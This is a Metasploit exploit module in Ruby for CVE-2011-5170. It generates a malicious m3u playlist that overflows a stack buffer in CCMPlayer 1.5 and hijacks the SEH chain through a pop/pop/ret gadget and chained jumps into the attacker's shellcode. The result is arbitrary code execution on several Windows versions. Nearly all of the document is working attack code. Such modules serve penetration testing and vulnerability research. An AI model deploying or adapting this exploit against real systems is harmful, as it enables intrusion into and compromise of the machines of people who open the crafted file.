##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
        a m3u playlist with a long track name, a SEH exception record can be overwritten
        with parts of the controllable buffer. SEH execution is triggered after an
        invalid read of an injectable address, thus allowing arbitrary code execution.
        This module works on multiple Windows platforms including: Windows XP SP3,
        Windows Vista, and Windows 7.
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['Rh0'],	# discovery and metasploit module
      'References'     =>
        [
          ['CVE', '2011-5170'],
          ['OSVDB', '77453'],
          ['EDB', '18178']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space' => 0x1000,
          'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
          'DisableNops' => 'True',
          'StackAdjustment' => -3500,
        },
      'Platform'		=> 'win',
      'Targets'		=>
        [
          [
            'CCMPlayer 1.5',
            {
              # pop esi / pop ebx / ret (in ccmplay.exe)
              # tweak it if necessary
              'Ret' => 0x00403ca7,	# last NULL in buffer is accepted
              'Offset' => 0x1000
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-11-30', # to my knowledge
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [ true, 'The file name.',  'msf.m3u']),
        ])
  end

  def exploit

    m3u = "C:\\"
    # shellcode
    m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
    m3u << payload.encoded
    # junk
    m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
    # need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
    # to trigger SEH
    m3u << [0xffffffff].pack("V")
    # pad
    m3u << rand_text_alpha_upper(3)
    # long jmp: jmp far back to shellcode
    m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
    # NSEH: jmp short back to long jmp instruction
    m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
    # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
    m3u << rand_text_alpha_upper(2)
    # SEH Exception Handler Address -> p/p/r
    m3u << [target.ret].pack("V")
    m3u << ".mp3\r\n"	# no crash without it

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
    file_create(m3u)

  end
end
